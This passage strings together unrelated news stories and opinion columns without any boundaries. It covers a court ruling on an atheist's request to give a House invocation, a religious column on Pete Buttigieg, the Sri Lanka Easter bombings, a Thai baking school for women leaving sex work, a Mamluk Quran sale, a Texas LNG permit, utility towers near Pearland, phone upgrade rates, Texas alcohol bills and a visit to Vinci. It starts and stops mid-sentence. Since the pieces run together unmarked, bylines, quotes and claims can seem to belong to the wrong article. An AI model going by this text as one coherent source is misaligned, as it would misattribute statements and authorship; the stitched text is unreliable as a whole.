faith in which [they] practice. Both the House and Senate have long traditions of conducting morning prayers, one that was present in the first Congress under the Constitution. In 1789, Congress appointed a committee to elect chaplains to offer prayers. In order to give prayers, guest chaplains must be sponsored by a member of the House, be ordained and address a higher power during their invocation. Even though we accept as true Barkers allegation that Conroy rejected him because he is an atheist, the Houses requirement that prayers must be religious nonetheless precludes Barker from doing the very thing he asks us to order Conroy to allow him to do: deliver a secular prayer, the courts decision written by Senior Circuit Judge David S. Tatel reads. In other words, even if, as Barker alleges, he was actually excluded simply for being an atheist, he is entitled to none of the relief he seeks. We could not order Conroy to allow Barker to deliver a secular invocation because the House permissibly limits the opening prayer to religious prayer. The court added that the question at hand really has to do with whether or not the Houses decision to limit the opening prayer fits within the tradition long followed in Congress and the state legislatures? The answer is yes, the court decision states. Barker was ordained by Californias Standard Community Church in 1975 and served in three California churches. He was also a missionary to Mexico for two years. But Barker has been open about the fact that he outgrew his religious beliefs and began to feel that he lost faith in faith. He officially proclaimed his atheism in 1984 and has written about his transformation in books such as 1992s Losing Faith in Faith and 2008s Godless. He is now co-president of FFRF, a legal nonprofit that regularly pressures public schools and local governments to end any conceivable entanglement or association with prayer and religion. "I am deeply dismayed that atheists and other nonbelievers are being openly treated as second-class citizens," Barker argued in a statement. "Our government is not a theocracy, and it needs to stop acting like one." Barker and FFRF pointed out that the court did not directly rule that it is legal for Congress to discriminate against atheists, but rather that relief cant be sought in Barkers case because Congress is entitled to special deference in interpreting its own rules. The ruling against Barker was praised by Christian conservative activist Mat Staver, founder of the Christian conservative legal nonprofit Liberty Counsel. It is fitting that on Good Friday the court upheld the tradition of seeking Gods guidance at the opening of each session of the House of Representatives, Staver said in a statement. I have personally debated Dan Barker. He is the most militant and angry atheist I have ever met. His opening remarks in the debate cannot be printed. He had no intention of being respectful, but rather wanted to use the opportunity to rant against Christians and Jesus Christ. Staver asserted that the prayer tradition that started in 1789 serves as a reflection of the faith of our founders. Email Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Ive said before on BreakPoint that if your God never tells you to do anything you dont want to do, your god is probably you. If there were an Americanized translation of the Apostles Creed for today, it would be something like this: I believe in God the Father, Almighty, who always supports my feelings. This kind of self-centered faith is epidemic both within the church and without, in conservative congregations and progressive ones. The most recent case in point is Democratic presidential candidate and South Bend, Indiana mayor, Pete Buttigieg. At a recent fundraiser, he said of his same-sex marriage: [it] has made me a better man [and]moved me closer to God. If being gay was a choice, it was a choice that was made far above my pay grade. He then added, somewhat out-of-the-blue: Thats the thing I wish the Mike Pences of the world would understand, that if you have a problem with who I am, your problem is not with me. Your quarrel, sir, is with my creator. This was, of course, a political cheap shot. Mike Pences anti-LGBTQ reputation was secured a long time ago when, as governor of Indiana, he supported religious freedom legislation that sent progressives into hysterics (even though it was a mirror state-level copy of federal legislation that Bill Clinton and Ted Kennedy had proposed). As Mayor Pete and the long list of Democratic presidential contenders gear up for their primaries, they have to pander to their liberal base. And what better way to do that than bashing the guy whose boss you hope to unseat? For his part, Vice-President Pence refused the bait, offering compliments instead for Mayor Petes years of public service and adding, He knows me better than that. But Mayor Petes comments are worth thinking through, if for no other reason than it wouldve been unthinkable not that long ago to try to enlist God in support of homosexual relationships. Feelings have become so central to personal identity across our culture, even in religion, that to suggest the Bible, God, the Church, or any other authority has a right to question those feelings is tantamount to heresy. Buttigieg and authors like Matthew Vines, who wrote the book, God and the Gay Christian, are in essence saying, God made me this wayand I know this because He would never ask me to go against my feelings. Unsurprisingly, the secular press has claimed that this new culturally-conformed Christianity as articulated by Mayor Pete will, of course, win the day. Terry Mattingly at Get Religion noted USA Todays almost evangelistic tone in reporting Buttigiegs words, and how they wrote as if the mayors reading of the Bible is a defensible theological position. The reality, of course, is that the mayors quarrel isnt with Mike Pence. His quarrel is with the clear texts of Scripture that both identify what marriage is and what it is for, as well as how homosexual behavior is sinful. His quarrel is with natural law, reflected in the biological roles our bodies play and the universally embraced connection of marriage and procreation, even by societies not influenced by Christian morality. And of course, his quarrel is with 2,000 years of unanimous Christian witness on marriage and sexual morality. As Everett Piper wrote at the Washington Times in reply to Mayor Pete, we dont get to make up our own version of Christianity. The faith delivered once for all is a faith deliveredit was delivered to the saints. Its a revealed faith. The religions we make up based on our feelings are different religions altogether. Buttigieg may feel that his same-sex relationship has somehow brought him closer to God, but it has not. If you love me, Jesus says in John 14:15, you will keep my commandments. Now, gay people arent singled out by Jesus words here, but they are absolutely included. And to be clear, Mike Pences feelings on the issue arent of any more authority than Mayor Petes feelings. No, this decision was made way above either mans pay grade. Resources Pete Buttigieg doesn't get to make up his own Christianity, Everett Piper | Washington Times | April 14, 2019 Who says journalists hate religion? USA Today welcomes liberal Christian faith of Pete Buttigieg, Terry Mattingly | GetReligion.org | April 11, 2019 Originally posted at Breakpoint. Email Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The Easter bombings of churches and hotels in Sri Lanka remind us that it is dangerous to be a practicing Christian today in many parts of the world. The Wall Street Journalreports, There were at least eight explosions, most blamed on suicide bombers. Six of the attacks were coordinated and were carried out by seven suicide bombers, according to a preliminary examination of scattered body parts by the countrys official experts. The bombs, of course, went off on the high Christian holiday of Easter, killing almost 300 people. And the Journal adds, Authorities took 24 people into custody in connection with the bombings, making arrests in several locations in and near the capital, Colombo, where the bombings were focused.The government has ordered round-the-clock security at all churches. Wendy Wright, the president of Christian Freedom International, told me: This coordinated mass bombing by Islamists against Christians in Sri Lanka packed into churches to celebrate Easter should drive us all to pray for vulnerable Christians. And for God to transform hearts. Wright noted, Easter celebrates Jesus Christs resurrection from the dead---proving His power over death and the certainty of His promise of eternal life. As Jesus said, I am the resurrection and the life. Whoever believes in me, though he die, yet shall he live, and everyone who lives and believes in Me shall never die. She also added that some Muslims are sickened by this kind of Jihadist violence: On the day of the Sri Lanka massacres, Christian Freedom Internationals director in a restricted country said a young Muslim man in his country showed up to learn about Jesus. He has lost all his faith and honor in Islam because of seeing the brutal, inhumane acts of Islam in this world. He is seeking a better God to serve. Please pray for him. Some in Sri Lanka have asked, Where is God? But the attack on Christians and churches have gone on from the beginning of the Christian church to the present. Jesus told us it would be dangerous to follow Him. But, as the Apostle Paul noted, if only for this life we follow Christ, then we should be the most pitied of all men. Because Jesus was raised from the dead, so one day, those who believe in Him will one day inherit a resurrected body like His. And when Jesus returns, He will judge the world in perfect justice---including those who perpetrate attacks like this. You cant go and find some church building (that Im aware of) that predates AD 313. Why? What happened then? The Roman emperor Constantine, professing to be a Christian, issued the Edict of Milan, making Christianity legal for the first time. Only after 313 could they start building official church buildings. Some of the most beautiful buildings ever built are Christian cathedrals, like Notre Dame, a forerunner to other cathedrals. Construction on Notre Dame began in 1163. The investigation into what caused Notre Dames fire last week has not been completed. We are told it was not deliberate arson, but in the meantime, there have been consistent attacks on churches in France. 875 churches were reportedly vandalized in France alone in the last year. Open Doors, which exists to aid the persecuted church, notes: Today, just like in the book of Acts, Christians are persecuted all over the world for following Jesus. Open Doors notes that 1 in 9 Christians experience high levels of persecution worldwide. They write: Every day we receive new reports of Christians who face threats, unjust imprisonment, harassment, beatings and even loss of family because of their faith in Jesus. They add, Every month, on average: 345 Christians are killed for faith-related reasons 105 Churches and Christian buildings are burned or attacked 219 Christians are detained without trial, arrested, sentenced and imprisoned. Many years ago, I interviewed Brother Andrew, the founder of Open Doors. Perhaps hes best known for the book he wrote called, Gods Smuggler. Brother Andrew, from the Netherlands, would smuggle copies of the Bible into all sorts of places where the holy book was forbidden---such as in the Soviet Union or the Eastern bloc nations. He said, Today there is probably more persecution than ever before.We at Open Doors work hard to publish that fact. Yet despite the increase in attacks, he told me, Its strange that people think its dangerous to be a Christian. Its dangerous not to be a Christian in the world today because in physical danger or mental danger or other kinds of danger, God protects those that belong to Him, that love Jesus. So being outside of the scope of that love, that is dangerous. What happened in Sri Lanka is a reminder to continually pray for the persecuted church. Jerry Newcombe, D.Min., is an on-air host/senior producer for D. James Kennedy Ministries. He has written/co-written 28 books, e.g., The Unstoppable Jesus Christ, Doubting Thomas (w/ Mark Beliles, on Jefferson), and What If Jesus Had Never Been Born? (w/ D. James Kennedy) & the bestseller, George Washington's Sacred Fire (w/ Peter Lillback) djkm.org @newcombejerry www.jerrynewcombe.com 'Extremism in all its forms must be defeated,' says Prince William Prince William has appealed for an end to extremism in an address to survivors of a terrorist attack on Al Noor Mosque in Christchurch, New Zealand. The Duke of Cambridge also referenced the attacks on churches and hotels that killed over 200 people in Sri Lanka on Easter Sunday as he praised New Zealanders for standing together. "A terrorist attempted to sow division and hatred in a place that stands for togetherness and selflessness. He thought he could redefine what this space was," he said. "I am here to help you show the world that he failed." He said that a "warped ideology that knows no boundaries" was fuelling acts of violence around the world as he called on people to unite against extremism. He also said people of all faiths and backgrounds could "learn a great deal" from the compassion and forgiveness shown by Muslim families affected by the March 15 mosque attacks in which 50 people died. "The example provided by New Zealand will prove to be of enduring value to all nations. What happened here was fuelled by a warped ideology that knows no boundaries," he said. "The world has rightly united to fight the extremism that has made sorrowful brethren out of cities like New York, Paris, London, and Manchester and that has taken so many lives in Sri Lanka in recent days. "And so too we must unite to fight the violent brand of extremism that has led to fatal shootings in a church in Charleston, South Carolina and a synagogue in Pittsburgh, Pennsylvania; a van attack on the streets of Finsbury Park in London; the murder of an MP in West Yorkshire; and now so many deaths in two mosques here in Christchurch." Officials warn of more attacks in Sri Lanka after Easter Sunday bombings The UK Foreign Office is advising against all but essential travel to the country after it was struck by a series of suicide bombs on Easter Sunday. It said there was a heightened terrorism risk in the wake of the attacks on churches and luxury hotels in which around 253 people died, including eight British nationals. The death toll from the attacks has been revised down to the new figure after the Sri Lankan health ministry admitted an error in its calculations. Foreign Secretary Jeremy Hunt said: "Following the horrific attacks on Easter Sunday, and the ongoing Sri Lankan security operation, I have received updated advice from the Foreign Office and decided to update the travel advice to British nationals to Sri Lanka to advise against all but essential travel. "We will keep this decision under close and constant review. My first priority will always be the security of British citizens living and travelling abroad. "We all hope the situation will return to normal very soon, and that the Sri Lankan tourism industry is able to get back on its feet following the terrorist attacks. We will do all we can to help the Sri Lankan authorities." Britons still in Sri Lanka were told to avoid large gatherings and places of worship. The Foreign Office said they should: Remain vigilant, keep up to date with developments and follow the advice of local security authorities and hotel security staff Keep a low profile, avoid crowded public places, large gatherings, including religious gatherings and places of worship, and any demonstrations. Avoid travelling during periods of curfew (other than to or from the airport) Keep in touch with family and friends and make them aware of any plans you may have The Foreign Office's concerns echo a warning issued by the US Embassy in Colombo also urging people to avoid places of worship amid fears of more attacks. "Sri Lankan authorities are reporting that additional attacks may occur targeting places of worship," it tweeted. "Avoid these areas over the weekend, starting tomorrow, April 26th through Sunday, April 28th. Continue to remain vigilant and avoid large crowds." The Islamic State has claimed responsibility for the attacks, which targeted three churches in Colombo, Negombo and Batticaloa as they were holding their Easter Sunday services, in addition to a string of luxury hotels. Addressing the Commons earlier this week, Mr Hunt said the attacks must not be allowed to sow division. "These attacks were a primitive and vile attempt to sow division between people of different faiths," he said. "Religious tensions have caused some of the bloodiest battles in human history, and it is sombre and sobering that even in the 21st century attempts continue to set believers of different religions against each other. "Our response must be to deny the perpetrators the satisfaction of dividing us by being united in our condemnation of the attacks and united in our support for religious tolerance surely one of humanity's greatest achievements. "Just as after the equally horrific attacks on the 2 mosques in Christchurch, New Zealand, we must respond by bringing people together; that is the exact opposite of what the perpetrators intended." The baking school that means freedom for girls trapped in Thailand's sex industry For millions of men who travel to Thailand each year, its brothels and sex clubs are a playground. For the girls working in them, they are a place of degradation and hopelessness. The girls are not there by choice but because poverty means that they have no other options, says Noel Yeatts, president of World Help. She has seen firsthand the misery of the thousands of girls trapped in Thailand's sex industry, but she has also seen how a new path of hope and opportunity can open up when the girls are given an education, a safe place to live and, importantly, the Gospel. World Help has just successfully completed a $125,000 fundraising campaign to build a new baking school in Pattaya, one of the centres of Thailand's booming sex industry. Noel speaks to us here about how that sex industry is keeping girls enslaved and why a baking school can give them a different future. CT: You've been to Pattaya and seen firsthand the sex industry there. Can you describe a little of what you saw and the impact it made on you? NY: The red light districts in Bangkok and Pattaya assault all your senses. The sights, the sounds, the smells, and the overwhelming sense of darkness. Even with all the bright neon lights, it is one of the darkest places I have ever been. "You may choose to look the other way, but you can never again say that you did not know." Those words from William Wilberforce now haunt me, because now I know. I had always heard the stories. But I finally stepped foot into that world for the first time and it was gut wrenching and absolutely heartbreaking. To see women being treated as animals, with no regard for their life or wellbeing. By far, the moment that broke me was when I went inside a dancing bar in the heart of the red light district in Bangkok. You see, even the bars have different levels, and I was about to see the worst. We have all heard the quote that God never gives us more than we can handle. I used to live by that. But I don't believe that anymore. I believe that God often does just that He gives us way more than we can ever handle on our own. I don't say any of this to be exploitive or to get a reaction, but simply to tell the truth. Because there are no words to fully describe what I experienced there. What I had seen out in the open on the streets did not prepare me for what happens behind closed doors. What shocked me most was not the graphic nature of the girls dancing but rather the interaction between the girls and the customers. Each girl was numbered yes, I said numbered. Small circles of paper pinned to the few threads they were wearing. Numbers that might as well have been branded right into their skin. Marked and tagged like cattle. Men simply call out the number they want as if they are being sold to the highest bidder. 15, 27, 195. Pick a number any number. And while they were just numbers they might as well have read "worthless," "broken," "unloved," "slave," "captive," for that is what I saw behind their empty eyes. We estimated that there were over 200 girls that night in just one bar based on their numbers they just kept rotating them out on stage for the pleasure of the audience. It was degrading disgusting and completely infuriating. I was surrounded by men, many American, who had no shame in what they were doing. This all started with the Vietnam War. Soldiers on their R&R came to Thailand. Fast forward 40 years and now you have a booming industry with some estimating as many as 9.4 million men coming to Thailand every year for sex. And before you convince yourself that these are seedy-looking men they look just like your next-door neighbor or someone you may go to church with. This first experience left me a bit stunned. To be honest it took me weeks to recover. I remember sitting in church my first Sunday back home and it was like a blur. All I remember my pastor saying was, "God is with us in the dark places." I sat there thinking, "No he's not. No he's not. I've just been to some pretty dark places and I did not see God there. I wanted to I desperately wanted to find God there, but it was like he had disappeared." CT: What have you heard from girls who are involved in the Thai sex industry about their experience? NY: I have never heard one time that they enjoy this work, that they would choose this work. What I have heard over and over again in all of the heartbreaking stories is that poverty drives this work. This is a sacrifice that they are making for their families. One story that I just cannot shake is of a young woman who had only been in the work a few months. She hated what she was doing and cried every day. One night she looked at herself in the mirror and said, "You must do. You must do. It is only your mother, your grandmother and your blind brother. If you do not work, how will they eat? Use your head, not your heart ... you must do." Can you imagine? I met a woman in a bar one night and began talking to her. I was surprised to learn that we were close to the same age and had sons almost the same age as well. For a brief moment I thought, "Wow, we have so much in common." But then it hit me: we both love our sons and want the best for them. But I have resources and options on how to do that. She has little to no options at all. Poverty has robbed her of those choices. CT: Why do so many girls in Thailand end up in prostitution? NY: I don't refer to this as the "P" word. We call this special work, because this is a sacrifice that these women are willingly making. This is not a choice they make, it is a choice they make because they have no other choice. What we find in Thailand is cultural slavery, and this is driven by extreme poverty. Culturally, it is the responsibility of the daughters to provide financially for their families. This is so hard for us to understand, but the pressure these women face is unimaginable. They come from rural areas and head to the big city looking for work. But with no experience and no education, they quickly find themselves without a place to live or way to support themselves. The bars offer them a "safe" place to live. They start off innocently as a cashier, and one thing leads to another and before they know it they are trapped in a lifestyle they never dreamed of. CT: What kind of support do they need after they have left the sex industry? NY: These women need a safe place to live, counselling, an education and an opportunity to choose a different path for their lives. They find all of this and more in our freedom homes. One young girl named Pin was taken from her village when she was just 11 years old and sold to an elderly couple in the city to care for them. But when she could not physically lift them in and out of bed, she was sold once again but this time to a bar. I can't imagine what she must have endured. But you would have never known that when I met her. You see, today she is living at one of our freedom homes where she is receiving counselling, an education, and hearing about the love of Jesus. But what I have seen in the work we are doing the heart of the red light districts of Thailand is this: what transforms these young women's lives the most is not just getting off the streets and away from the bars. Yes, that has to happen. But what impacts them the most is the powerful message of the Gospel. Hearing that there is a man who will never leave them or abandon her, never hurt them and loves them just as they are - that completely transforms their lives. Pin has graduated from high school and now hopes to become an environmental engineer. CT: Is there also an element of danger in helping girls leave, perhaps pimps who 'own' girls? NY: There is a bit of a myth here propelled by the movie "Taken". Although there are many stories of women trafficked around the world that is not the case for most Thai girls. Again, that is why we refer to this as cultural slavery. They might not have a "pimp" but they do work for a bar who will quickly kick them out and find a new girl if they are not performing or don't show up for work. And if they don't work, they can't send money home to feed their families. It is the chain of poverty than enslaves these girls. CT: Why has World Help chosen a bakery school as a way of helping some of these girls? NY: Baking is cutting edge in Thailand. Most people do not have ovens in their homes. But cafes are becoming trendy and baked goods are in high demand. A kitchen where the girls can learn to bake will open the doors for incredible job opportunities in the future. We just completed raising the funds for this important project. Once the school is up and running, our hope and prayer is that it will impact hundreds of women in the years to come. Everything about this programme is centered around the love of Jesus and the hope found only in the Gospel message. The girls living in the home will have the opportunity to attend this school. It will also be open to non-residents as well. CT: What is World Help's hope for the girls after they have been trained at the school? NY: Our hope and prayer is that this baking school will give girls a second chance and a way to provide for themselves and their families with dignity. And for some, it will prevent them ever going into the work to begin with. CT: How does it fit into the bigger picture of what World Help is doing to tackle the Thai sex industry? NY: Everything that we are doing is about interrupting lives with freedom. I wish I had a chance to explain to everyone why I am so passionate about this work. There are many worthy causes and many that can give you a lot of "bang for your buck" so to speak. This work is a bit different. At face value the numbers are staggering and it can be a bit overwhelming on how to make a difference. But here is what I love: if you help just one girl just one then that means her daughter will not go into this work, and her daughter, and her daughter and so on. You can break the chain and literally end this vicious cycle for generations to come. To me, that is pretty powerful and something that each one of us can do. Thinking back to my first trip, what I came to realise is that God was not absent, but I was actually the one who had made him disappear. I had decided that this place was too dirty and too dark for God. But the truth is, where did we find Jesus in the Bible? Who did he hang out with? And where would we find him today? In my world, or in this one? Jesus was found in the darkness. And if we want to join him in his Kingdom work, then we have to be willing to join him in the dark places of our world. To give to World Help's work in Thailand, visit https://worldhelp.net/freedom/ 5 minutes with... A monumental royal Mamluk Quran Mamluk Qurans of this size with a royal dedication are extremely rare. This is why they get so much attention when they come to market, says William Robinson, International Head of Islamic Art. The Quran sold for 3,724,750 in London on 2 May According to William Robinson, International Head of Islamic Art at Christies in London, there are three primary factors that make this monumental royal Mamluk Quran extraordinary. The first lies in its royal provenance. From the dedicatory inscription on its double-page illuminated frontispiece, we know that this Mamluk Quran was made for the Sultan al-Malik al-Ashraf Sayf al-Din Qaytbay, who reigned from 1468 to 1496, states Robinson. The inscription in gold thuluth, an elegant angular Islamic script, is painted on a lapis lazuli ground. Its rather unusual for a Quran dating to this period to come complete with its original and unrestored front and back pages, as well as the name and date of the scribe, explains the specialist. Mamluk Qurans of this size with a royal dedication are extremely rare. This is why they get so much attention when they do come to market. For Robinson, Sultan Qaytbay of Egypt was the last great sultan of the Mamluk period (1250-1517). His reign over an area that spanned present-day Egypt, Jordan, Palestine, Israel and Syria, as well as parts of Arabia witnessed the last period of Mamluk stability and the construction of spectacular institutions and foundations across the region, from Cairo to Mecca. Illuminated monumental Qurans were a speciality of the middle and later Mamluk periods and were often commissioned by Mamluk sultans as endowments for these institutions, where many still reside. This explains why there are very few Qurans of this size in private hands. Although this monumental Quran is more than 500 years old, its pages are in excellent condition and retain their bright, fresh, cream colour William Robinson The second factor is the size of the folio, which measures 68 cm by 45.5 cm (26 in x 18 in). This roughly equates to the half-Baghdadi size of paper developed in the city of Baghdad and adopted throughout the medieval Islamic world. For Robinson, its great size large Qurans from this period are usually quarter-Baghdadi in size or smaller suggests that it was indeed endowed to one of Qaytbays foundations, and only later sold to a private collector. Mamluk paper is generally of very good quality, he says. Although this monumental Quran is more than 500 years old, its pages are in excellent condition and retain their bright, fresh, cream colour. They are also free from two of the deadliest scourges of ancient books of the Islamic world: insects and damp. The third factor that makes this Quran so exceptional is its script. It's rare to see naskh script on this scale in a volume of this size, the specialist explains. Its compact nature makes it more commonly employed in volumes on a far smaller scale. In substantial Qurans such as this one, one would normally expect to see muhaqqaq, a script with much longer, elegant verticals. Yet, on this scale, says Robinson, the large naskh is wonderfully easy to read. The naskh in this volume has flow, strength, and individuality. The scribe plays with form here and allows himself quite a bit of freedom, observes the specialist. Sign up today The Online Magazine delivers the best features, videos, and auction news to your inbox every week Subscribe Federal regulators have released a key environmental study of NextDecade's proposed Rio Grande LNG project an important milestone in permitting for the 27 million metric ton liquefied natural gas terminal in Brownsville, the third of three LNG projects proposed for Rio Grande Valley. Officials at the Federal Energy Regulatory Commissions said Rio Grande LNG, combined with other projects proposed in the area, could cause adverse environmental impacts but that many of those significant impacts could be reduced through a mitigation plan. Like other projects in Brownsville, federal regulators again expressed concern about how the LNG project would impact habitat for endangered wildcat species, the ocelot and the coastal Gulf Coast jaguarundi. Those conclusions come on top of another report released earlier this week about how the three proposed terminals together Rio Grande LNG, Annova LNG and Texas LNG could permanently cut off a wildlife corridor considered critical for the survival of the endangered cats. RELATED: Proposed LNG plants would undo ocelot conservation efforts in Rio Grande Valley The Rio Grande LNG terminal would include six liquefaction plants known as trains, four 180,000 cubic meter storage tanks, multiple storage and refrigeration units, compressor stations, marine loading facilities and truck loading terminals. The terminal would be fed by twin 42-inch pipelines with a total capacity of 4.5 billion cubic feet of natural gas a day. The Rio Bravo Pipeline project would transport gas about 137 miles from Agua Dulce area to the Brownsville terminal. The $15 billion project would generate an estimated 6,000 construction jobs and about 5,000 permanent jobs mostly within Cameron County, according to company. "We appreciate the FERC staff's timely and thorough review of our project," said Matt Schatzman, NextDecade's President and Chief Executive Officer in a statement. "The Final Environmental Impact Statement is a culmination of several years of analysis and cooperation with FERC staff and multiple federal, state, and local agencies and other stakeholders." DEEPER POCKETS: Private companies funding ship channel projects becoming more common NextDecade said it expects to receive final authorization on its project by July 25. It plans to make a final investment decision on the project by the end of the third quarter this year. The LNG developer has hit several key project milestones in recent months. Earlier this week NextDecade entered an agreement with the Port of Brownsville to deepen nearly half the Brownsville Ship Channel by about 10 feet to ease transportation for its project. It also secured a state permit, signed a 20-year supply deal with Royal Dutch Shell and inked a long-term lease and an electricity deal for the 984-acre site. But NextDecade and the other two proposed LNG projects in Brownsville face stiff opposition from the local community and environmentalists. Opponents blasted FERC for attempting to downplay the significance of the cumulative impacts of the project, which would be a major emitter of greenhouse gas. "For years, South Texans have made it clear that we oppose Rio Grande LNG, the Rio Bravo Pipeline, and the other dangerous, unnecessary fracked gas projects proposed for our community. Our cities have passed anti-LNG resolutions, our school board has rejected a proposed tax cut for the project, and time after time we submit public comments and turn out to public hearings to send a clear message that this project would be all cost for our communities while fossil fuel executives reap all the benefit," said Sierra Club Brownsville Organizer Rebekah Hinojosa. A group of homeowners in Silverlake, an unincorporated community near Pearland, testified this week at the Texas House Committee on Judiciary & Civil Jurisprudence about how their property values have dropped since CenterPoint Energy erected giant steel utility towers along an easement that slices through the neighborhood. A bill was filed by state Rep. Ed Thompson, a Republican who represents the Pearland area, that could make it easier for homeowners near utility easements to recover damages if utility projects depress property values. The Silverlake neighbors wore white tee-shirts with a picture of the hulking towers against a blue sky when they've met with Texas legislators and their aides over the past few months. MORNING UPDATES: Get all the news you need to know to start your day, delivered to your inbox "They started to know us," said Nancy Peskin, whose home is across the street from one of the 11-story towers. She and her neighbors have been concerned about how the towers, which went up without notice last year, are damaging property values. One house close to the towers sold for about $125,000 less than the original asking price and it took a year to sell, she said. Jennifer Zebak, another neighbor whose house is next to one of the towers, told legislators that the proposed bill would encourage utility companies to consider the financial repercussions on homeowners and provide an incentive to evaluate any losses to homeowners before installing new structures. HOUSTONCHRONICLE.COM: Centerpoint Energy seeks rate increase "Currently, these utility companies are left unchecked and no regard is given to homeowners whatsoever," according to Zebak's written testimony. CenterPoint said it will continue to follow the legislation and work with legislators as the bill progresses to ensure that any change in the law would balance the interests of affected landowners with the interests of the 2.5 million homes and businesses that would bear increased costs. Company officials did not testify at the hearing. CenterPoint installed three miles of transmission towers along an 80-foot wide easement in Silverlake as part of the utility's 14-mile transmission upgrade from Pearland to Friendswood. Thompson's bill would give homeowners near easements the right to file damage claims and go through a process similar to eminent domain land takings, in which property owners can appeal to a special commission if they believe they are not being fairly compensated. RELATED: CenterPoint transmission towers came without warning, Silverlake residents say As it currently stands, Texas law only allows the owners of land through which pipelines, roads and transmission towers run to be compensated for property losses. It does not apply to abutters whose property values and quality of life might also be affected. Wireless customers are hanging on to their old phones longer than ever. Thats the message from Verizon Communications Inc., which said its upgrade rate fell to a record low last quarter a harbinger of tough times ahead for the iPhone and other devices. Faced with $1,000 price tags on moderately improved phones, consumers may be waiting to hear more about new 5G networks before committing to new models. The faster, more advanced services wont roll out in earnest until 2020. Incremental changes from one model the the next, hasnt been that great, and it hasnt been enough of an incentive, Verizon Chief Financial Officer Matt Ellis said in an interview last week after the company reported fewer-than-expected new customers for the first quarter. He expects replacement rates to be down for the year. Apple Inc., the largest U.S. mobile-phone supplier, has been under pressure as sales of its popular device slow in major markets. Wells Fargo analyst Aaron Rakers cut his forecast for iPhone shipments to 40.4 million from 44 million for Apples second quarter, which ends this month. The trend started nearly five years ago, when carriers pinched by costly promotions stopped offering deeply discounted phones in exchange for two-year service plans. Instead, they marketed installment payment plans for new phones priced at up to $1,000. Some Apple fans, who flocked to the iPhone 6 in 2014 and 2015, its biggest sales year, say the device reached a design peak with that model, making upgrades less necessary. Our first data point from Verizon is not a positive sign for Apple, said Walt Piecyk, an analyst with BTIG LLC. Its been more than four years since the iPhone 6 super cycle, and the replacement cycle continues to lengthen. Texas laws regarding alcohol sales on Sundays and at breweries may be changing. Thursday, the Texas House gave its stamp of approval of HB 1545 for the efficiency and operations of the Texas Alcoholic Beverage Commission, according to the Texas Tribune. The bill, which has to pass before next month to avoid an agency shutdown, includes two amendments for the expansion of alcohol sales, the Texas Tribune reported. ON HOUSTONCHRONICLE.COM: Teacher pay raises, longer school year up for debate as Texas House takes up school funding One amendment, proposed by state representative Drew Springer, R-Muenster, would allow beer and wine sales to begin at 10 a.m. instead of noon on Sundays, the Texas Tribune reported. This would affect licensed retailers such as convenience and grocery stores but not liquor stores, which aren't allowed to operate on Sundays. Springer said his motion would put wine and beer sales in line with what's currently allowed at restaurants, bars and other on-premise consumption locations, the Texas Tribune reported. ON HOUSTONCHRONICLE.COM: Religious liberty bill opposed by LGBTQ advocates clears Texas Senate State representative Eddie Rodriguez, D-Austin, proposed an amendment that would allow craft breweries to sell beer-to-go. Rodriguez noted that this is already legal in every other state, the Texas Tribune reported. "We have to make these changes for these small breweries to grow," Rodriguez said, according to the Texas Tribune. "Let's vote for small businesses here in Texas. Let's vote for beer-to-go." The bill, including the two amendments, has been sent it to the Texas Senate. Marcy de Luna is a digital reporter. You can follow her on Twitter @MarcydeLuna and Facebook @MarcydeLuna. Read her stories on our breaking news site, Chron.com, and on our subscriber site, HoustonChronicle.com. | Marcy.deLuna@chron.com | Text CHRON to 77453 to receive breaking news alerts by text message There are no more maps available. But it's not a problem, says the woman at the front desk of our hotel. She takes out a piece of paper and rapidly sketches the almond-shaped town - just a couple of curved streets around the castle walls, with an "X" at the church and a dot at the museum ticket office. "I'm a descendant of Leonardo," she jokes as she hands it over. That's probably not the first time someone has used that line in Vinci, Italy, a hamlet perched among the Montalbano Hills known for producing Chianti, artichoke-scented olive oil and a certain genius who was born here in 1452. Although he moved to nearby Florence as a teenager, Leonardo da Vinci spent his formative years in this slice of countryside, and he remains very much a presence. The room that my husband, daughter and I booked for the night is in the Hotel Monna Lisa, which displays posters of Leonardo's masterpieces along the staircase. Don't confuse it with the nearby Pizzeria la Monnalisa, where slices of margherita are served beneath a copy of "The Last Supper." Just across the street from there, in the middle of Piazza della Liberta, stands "The Horse" - an homage to his never-completed project to create the world's largest bronze equestrian statue. Oh, and that black cat we noticed sneaking into a cafe? A local told us his name is Leonardo, too. Vinci has long been a place of pilgrimage for Leonardo devotees - tourists have been showing up since at least the mid-1800s, and its Biblioteca Leonardiana is an international research center for scholars. The town is getting extra attention this year, which marks the 500th anniversary of Leonardo's death. Museums everywhere are mounting major exhibitions, most notably the Louvre, which is trying to bring together as many of Leonardo's existing paintings as possible this fall in Paris. (The museum boasts so many of his works because he died in Amboise, France, where he'd been hanging out with King Francis I.) London is also getting in on the Leonardo action: Between May and October, the Queen's Gallery in Buckingham Palace, which is a public art gallery, will showcase more than 200 of his drawings. And because Leonardo's artistic career was born in Florence, where he trained among other Renaissance legends and established himself as man of talents (and eccentricities), the Tuscan capital offers visitors several Leonardo-themed shows. But the place to experience true Leonardo mania is Vinci, which is hosting a nonstop slate of exhibits, films, lectures, concerts, walking tours and more. My family's visit in early March, for example, coincided with an amateur bike race called the Giro Vitruviano (yep, that's a Vitruvian Man reference). Rather than join the spandex-clad competitors riding into town, we found a lazier form of transportation. From Florence, you can take a 30-minute regional train ride to Empoli, then hop on the No. 49 bus, which heads right into the heart of Vinci. About halfway along the 25-minute route, dotted with signs trumpeting that this territory is "alle origini del genio" (at the origins of genius), I have one extra stop planned: Cantine Leonardo, a wine cooperative named for you know who. Hulking steel tanks sit beside an inviting enoteca, where tables and shelves display local products, including saffron linguine, artisanal biscotti and, of course, vino - much of it from two product lines: "Leonardo" and the more refined "Da Vinci." The area's most famous native son provides some obvious inspiration. "He was a winemaker who knew the power of our grape, our sangiovese, to produce wine," explains Francesco Baffini, the shop sommelier, as he guides my husband and me through a quick tasting. (Our 4-year-old, meanwhile, happily munches on chocolates and grissini, a kind of Italian breadstick.) Around here, he says, sangiovese makes chianti montalbano, a slightly fruitier version of the red than you'll find in other chianti regions. Then he leads us through a gate, behind the tanks, and into a farm. Next to a display of antique agricultural machinery, a group of chickens mills around beneath a canopy of olive trees, which also shade a big pig. Off to the right are vineyards that stretch through the hills as far as we can see. And they continue beyond that, says Francesco, who notes that in the next valley over, they grow vermentino, a white varietal that's normally found by the sea. He encourages us to plan another trip to visit Cantine Leonardo's nearby villa, where there are plans to install a museum dedicated to Leonardo's connections to viticulture, forged during his Tuscan childhood. After one last lingering 